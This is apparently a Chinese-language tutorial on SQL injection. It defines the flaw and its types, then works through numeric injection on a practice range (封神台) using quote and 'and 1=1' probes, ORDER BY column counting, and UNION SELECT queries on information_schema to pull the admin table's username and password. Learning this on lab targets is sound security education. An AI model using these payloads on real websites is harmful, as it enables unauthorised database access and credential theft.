什么是SQL注入?

SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

SQL注入的原理是什么?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(用户输入的数据,被当SQL语句在目标服务器上来进行执行,以此来获得自己想要的数据)

SQL注入有哪几种类型?

SQL注入类型有以下6种:1. 数字类型的注入;2. 字串类型的注入;3. GET注入;4. POST注入;5. COOKIE注入;6. HTTP注入。SQL注入是通过将恶意的 SQL 查询或添加语句插入到应用的输入参数中,再在后台 SQL 服务器上解析执行进行的攻击。

数字类型注入

1.1如何判断是否存在sql注入

我们在封神台靶场上来进行测验 靶场地址

靶场页面就是这样的

点击查看新闻1

会出现id=1 在id=1后面输入一个单引号 ‘ 单引号是英文的单引号,并且在url输入的字符都应为英文

输入之后他会报错 回想一下没输入之前页面上是有 猫舍介绍 输入之后页面却不显示 这是因为不符合语法 所以该语句肯定会出错 导致脚本程序无法从数据库获取数据 从而使原来的页面出现异常

继续在id=1 后面输入 and 1=1 1和and之间需要空格

这时它的页面怎么是又是正常的 是因为语句正确 执行正常 返回的数据与原始请求无任何差异

把id=1 and 1=1 改成 id=1 and 1=2

当id=1 and 1=2 页面怎么又报错了 因为虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为假,所以返回数据与原始请求有差异。如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

如何获取目标网站的数据

既然确定了此网站存在SQL注入 那么我们就要获取到我们想到得到的数据

1.1 查字段数

在id=1 后面输入 order by 1 ,order by 2, order by 3 …… 直到页面报错

当输入到 order by 3 时页面报错 那么它的字段数应为2 因为order by 2 时他并没有报错 order by 3 时报错 证明它并不存在3个字段 所以他的字段数应该为2

查询回显点

在id=1后输入 and 1=2 union select 1,2 看到了没他的页面出现了2 所以他的回显点为2

查询当前使用库

查询表

1
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

表名为 admin

查字段

1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

查用户名

用户名为admin

1
?id=1 and 1=2 union select 1,username from admin limit 0,1

查密码

密码为hellohack

1
?id=1 and 1=2 union select 1,password from admin limit 0,1